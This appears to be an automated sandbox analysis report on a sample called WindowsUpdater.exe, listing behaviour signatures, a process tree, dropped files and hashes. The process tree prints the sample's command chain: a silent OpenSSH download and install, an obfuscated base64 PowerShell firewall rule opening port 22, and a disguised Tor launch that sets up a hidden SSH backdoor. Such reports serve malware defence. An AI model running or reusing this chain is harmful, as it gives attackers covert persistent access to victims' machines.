Analysis

  • max time kernel
    93s
  • max time network
    108s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/02/2024, 15:47

General

  • Target
    WindowsUpdater.exe
  • Size 11.1MB
  • Sample240224-s792aagg2w
  • SHA256 0f277b5c86588aaa07adad7b0015dab4650a99b8ed2043d72cd9e757e228fdef
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 32 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Drops file in Program Files directory 25 IoCs
  • Drops file in Windows directory 21 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 53 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5028
    • C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe
      "C:\Users\Admin\AppData\Local\Temp\WindowsUpdater.exe"
      2⤵
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3408
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "Invoke-WebRequest 'https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64-v9.5.0.0.msi' -o OPENSSH.msi"
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1872
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "msiexec /q /i OPENSSH.msi"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\system32\msiexec.exe
          msiexec /q /i OPENSSH.msi
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1820
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -c "Start-Service sshd""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5036
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "Start-Service sshd"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3876
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4716
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LU5ldEZpcmV3YWxsUnVsZSAtTmFtZSBzc2hkIC1EaXNwbGF5TmFtZSAnT3BlblNTSCBTU0ggU2VydmVyJyAtRW5hYmxlZCBUcnVlIC1EaXJlY3Rpb24gSW5ib3VuZCAtUHJvdG9jb2wgVENQIC1BY3Rpb24gQWxsb3cgLUxvY2FsUG9ydCAyMiAtUHJvZ3JhbSAnQzpcUHJvZ3JhbSBGaWxlc1xPcGVuU1NIXHNzaGQuZXhlJw==')); Invoke-Expression $command"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2760
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\system32\icacls.exe
          icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
          4⤵
          • Modifies file permissions
          PID:816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -c "Restart-Service sshd""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "Restart-Service sshd"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1948
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Users\Admin\AppData\Local\Temp\_MEI50282\WindowsUpdate.exe
          WindowsUpdate.exe -f C:\Users\Admin\AppData\Local\Temp\tossh\torrc
          4⤵
          • Executes dropped EXE
          PID:1316
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "type hostname"
        3⤵
          PID:4000
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4820
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding CDA719C3AC6140A87EC6885A1203B634
        2⤵
        • Loads dropped DLL
        PID:2992
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0A9009E9859FE02AA861C055EC207B80 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:3552
        • C:\Windows\SysWOW64\wevtutil.exe
          "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1472
          • C:\Windows\System32\wevtutil.exe
            "wevtutil.exe" im "C:\Program Files\OpenSSH\openssh-events.man" /fromwow64
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\SysWOW64\sc.exe" privs ssh-agent SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
          3⤵
          • Launches sc.exe
          PID:3992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\SysWOW64\sc.exe" privs sshd SeAssignPrimaryTokenPrivilege/SeTcbPrivilege/SeBackupPrivilege/SeRestorePrivilege/SeImpersonatePrivilege
          3⤵
          • Launches sc.exe
          PID:2292
    • C:\Program Files\OpenSSH\ssh-agent.exe
      "C:\Program Files\OpenSSH\ssh-agent.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:4392
    • C:\Program Files\OpenSSH\sshd.exe
      "C:\Program Files\OpenSSH\sshd.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2944
      • C:\Program Files\OpenSSH\ssh-keygen.exe
        ssh-keygen -A
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2120
    • C:\Program Files\OpenSSH\sshd.exe
      "C:\Program Files\OpenSSH\sshd.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4744
      • C:\Program Files\OpenSSH\ssh-keygen.exe
        ssh-keygen -A
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4468

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          e578e68.rbs

          • Path C:\Config.Msi\e578e68.rbs
          • Size 564KB
          • SHA256 cf679bcd3588d7deec2c15fbf18654f5f7c2c0743406f3637545cca694997a36
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto.dll

          • Path C:\Program Files\OpenSSH\libcrypto.dll
          • Size 1.8MB
          • SHA256 065d3a16b418dfe5647c56c8a1787ac540b13299bdf35f69e9980525804cb9ab
          • MD5 SHA1 SHA512 SSDEEP

          openssh-events.man

          • Path C:\Program Files\OpenSSH\openssh-events.man
          • Size 3KB
          • SHA256 c36019e53e3045cba2639bf35ed1e2498e3563b272533e53301165c31ab60199
          • MD5 SHA1 SHA512

          openssh-events.man

          • Path C:\Program Files\OpenSSH\openssh-events.man
          • Size 3KB
          • SHA256 0ccb40842417f63a2aed9f41507fb8215c42b815556f16913add175f82c79b86
          • MD5 SHA1 SHA512

          ssh-agent.exe

          • Path C:\Program Files\OpenSSH\ssh-agent.exe
          • Size 552KB
          • SHA256 c98fcecabf16090a5fde87d2171f2ff4c3a7190c9bb78ca8b044a80e5df211c4
          • MD5 SHA1 SHA512 SSDEEP

          sshd.exe

          • Path C:\Program Files\OpenSSH\sshd.exe
          • Size 1.3MB
          • SHA256 6f31cf7a11189c683d8455180b4ee6a60781d2e3f3aadf3ecc86f578d480cfa9
          • MD5 SHA1 SHA512 SSDEEP

          OPENSSH.msi

          • Path C:\Users\Admin\AppData\Local\Temp\OPENSSH.msi
          • Size 5.5MB
          • SHA256 6333f5b38313360a2c960ea7afa3086002f479bad663f20f92a4889063fe925c
          • MD5 SHA1 SHA512 SSDEEP

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\VCRUNTIME140.dll
          • Size 116KB
          • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
          • MD5 SHA1 SHA512 SSDEEP

          WindowsUpdate.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\WindowsUpdate.exe
          • Size 2.1MB
          • SHA256 f6382ac921ff16d2760bcbc33845e345b42351210e27557183ebdd53f5319263
          • MD5 SHA1 SHA512 SSDEEP

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_bz2.pyd
          • Size 82KB
          • SHA256 706d4a0c26dd454538926cbb2ff6c64257c3d9bd48c956f7cabd6def36ffd13e
          • MD5 SHA1 SHA512 SSDEEP

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_decimal.pyd
          • Size 246KB
          • SHA256 3b9ad1d2bc9ec03d37da86135853dac73b3fe851b164fe52265564a81eb8c544
          • MD5 SHA1 SHA512 SSDEEP

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_hashlib.pyd
          • Size 64KB
          • SHA256 4adfbbd6366d9b55d902fc54d2b42e7c8c989a83016ed707bd7a302fc3fc7b67
          • MD5 SHA1 SHA512 SSDEEP

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_lzma.pyd
          • Size 155KB
          • SHA256 6216173194b29875e84963cd4dc4752f7ca9493f5b1fd7e4130ca0e411c8ac6a
          • MD5 SHA1 SHA512 SSDEEP

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_queue.pyd
          • Size 31KB
          • SHA256 fb57ee6adf6e7b11451b6920ddd2fb943dcd9561c9eae64fdda27c7ed0bc1b04
          • MD5 SHA1 SHA512 SSDEEP

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_socket.pyd
          • Size 81KB
          • SHA256 5cc62aac52edf87916deb4ebbad9abb58a6a3565b32e7544f672aca305c38027
          • MD5 SHA1 SHA512 SSDEEP

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\_ssl.pyd
          • Size 173KB
          • SHA256 72bb15cd8c14ba008a52d23cdcfc851a9a4bde13deee302a5667c8ad60f94a57
          • MD5 SHA1 SHA512 SSDEEP

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\base_library.zip
          • Size 1.3MB
          • SHA256 ec4e6b8e9f6f1f4b525af72d3a6827807c7a81978cb03db5767028ebea283be2
          • MD5 SHA1 SHA512 SSDEEP

          md.cp312-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\charset_normalizer\md.cp312-win_amd64.pyd
          • Size 10KB
          • SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
          • MD5 SHA1 SHA512 SSDEEP

          md__mypyc.cp312-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
          • Size 120KB
          • SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\libcrypto-3.dll
          • Size 2.7MB
          • SHA256 e155d3a3513b946b1c834427991d9185dc2ead8de13c4619060e9ba4f2733b8a
          • MD5 SHA1 SHA512 SSDEEP

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\libcrypto-3.dll
          • Size 5.0MB
          • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
          • MD5 SHA1 SHA512 SSDEEP

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\libssl-3.dll
          • Size 768KB
          • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
          • MD5 SHA1 SHA512 SSDEEP

          python312.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\python312.dll
          • Size 6.7MB
          • SHA256 789a42ac160cef98f8925cb347473eeeb4e70f5513242e7faba5139ba06edf2d
          • MD5 SHA1 SHA512 SSDEEP

          python312.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\python312.dll
          • Size 4.1MB
          • SHA256 431b3cfb0f99442e14361cbbbc20d56fc752798adbb2723f8bb5118dd758f173
          • MD5 SHA1 SHA512 SSDEEP

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\select.pyd
          • Size 29KB
          • SHA256 af358285a7450de6e2e5e7ff074f964d6a257fb41d9eb750146e03c7dda503ca
          • MD5 SHA1 SHA512 SSDEEP

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI50282\unicodedata.pyd
          • Size 1.1MB
          • SHA256 be942308d99cc954931fe6f48ed8cc7a57891ccbe99aae728121bcda1fd929ab
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_ghuy3kla.ph4.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ghuy3kla.ph4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          cached-microdesc-consensus.tmp

          • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
          • Size 2.5MB
          • SHA256 a33595727e93d8b69432caaa8e74aed0f293183070d2df2c5255cf124100bf46
          • MD5 SHA1 SHA512 SSDEEP

          cached-microdescs.new

          • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
          • Size 6.4MB
          • SHA256 7e3daca64e9d66268d0a47be6a944e5074cc0e3d3c8564eb914f5ee5d89d7988
          • MD5 SHA1 SHA512 SSDEEP

          MSI9338.tmp

          • Path C:\Windows\Installer\MSI9338.tmp
          • Size 297KB
          • SHA256 b8f2d0909d7c2934285a8be010d37c0609c7854a36562cbfcbce547f4f4c7b0c
          • MD5 SHA1 SHA512 SSDEEP

          MSI9ABB.tmp

          • Path C:\Windows\Installer\MSI9ABB.tmp
          • Size 127KB
          • SHA256 5c29b8255ace0cd94c066c528c8ad04f0f45eba12fcf94da7b9ca1b64ad4288b
          • MD5 SHA1 SHA512 SSDEEP

          MSI9BE6.tmp

          • Path C:\Windows\Installer\MSI9BE6.tmp
          • Size 211KB
          • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
          • MD5 SHA1 SHA512 SSDEEP

          MSIA551.tmp

          • Path C:\Windows\Installer\MSIA551.tmp
          • Size 137KB
          • SHA256 4009df251d03945e453a2211cb98dbc851b5bf0d882bc5de26b57b159787fdf8
          • MD5 SHA1 SHA512 SSDEEP

          memory/1872-67-0x00007FFAFB670000-0x00007FFAFC131000-memory.dmp

          memory/1872-63-0x000001D5281E0000-0x000001D5281F0000-memory.dmp

          memory/1872-62-0x000001D5281E0000-0x000001D5281F0000-memory.dmp

          memory/1872-61-0x000001D5281E0000-0x000001D5281F0000-memory.dmp

          memory/1872-52-0x000001D528120000-0x000001D528142000-memory.dmp

          memory/1872-60-0x00007FFAFB670000-0x00007FFAFC131000-memory.dmp

          memory/1948-220-0x00007FFAFB280000-0x00007FFAFBD41000-memory.dmp

          memory/1948-225-0x0000018B56460000-0x0000018B56470000-memory.dmp

          memory/1948-229-0x00007FFAFB280000-0x00007FFAFBD41000-memory.dmp

          memory/1948-226-0x0000018B56460000-0x0000018B56470000-memory.dmp

          memory/2760-207-0x0000019CBB960000-0x0000019CBB970000-memory.dmp

          memory/2760-208-0x0000019CBB960000-0x0000019CBB970000-memory.dmp

          memory/2760-209-0x0000019CBB930000-0x0000019CBB93E000-memory.dmp

          memory/2760-210-0x0000019CBBBB0000-0x0000019CBBBCA000-memory.dmp

          memory/2760-212-0x00007FFAFB280000-0x00007FFAFBD41000-memory.dmp

          memory/2760-206-0x00007FFAFB280000-0x00007FFAFBD41000-memory.dmp

          memory/3876-192-0x0000012AFAFC0000-0x0000012AFAFD0000-memory.dmp

          memory/3876-194-0x0000012AFAFC0000-0x0000012AFAFD0000-memory.dmp

          memory/3876-196-0x00007FFAFB280000-0x00007FFAFBD41000-memory.dmp

          memory/3876-193-0x0000012AFAFC0000-0x0000012AFAFD0000-memory.dmp

          memory/3876-191-0x00007FFAFB280000-0x00007FFAFBD41000-memory.dmp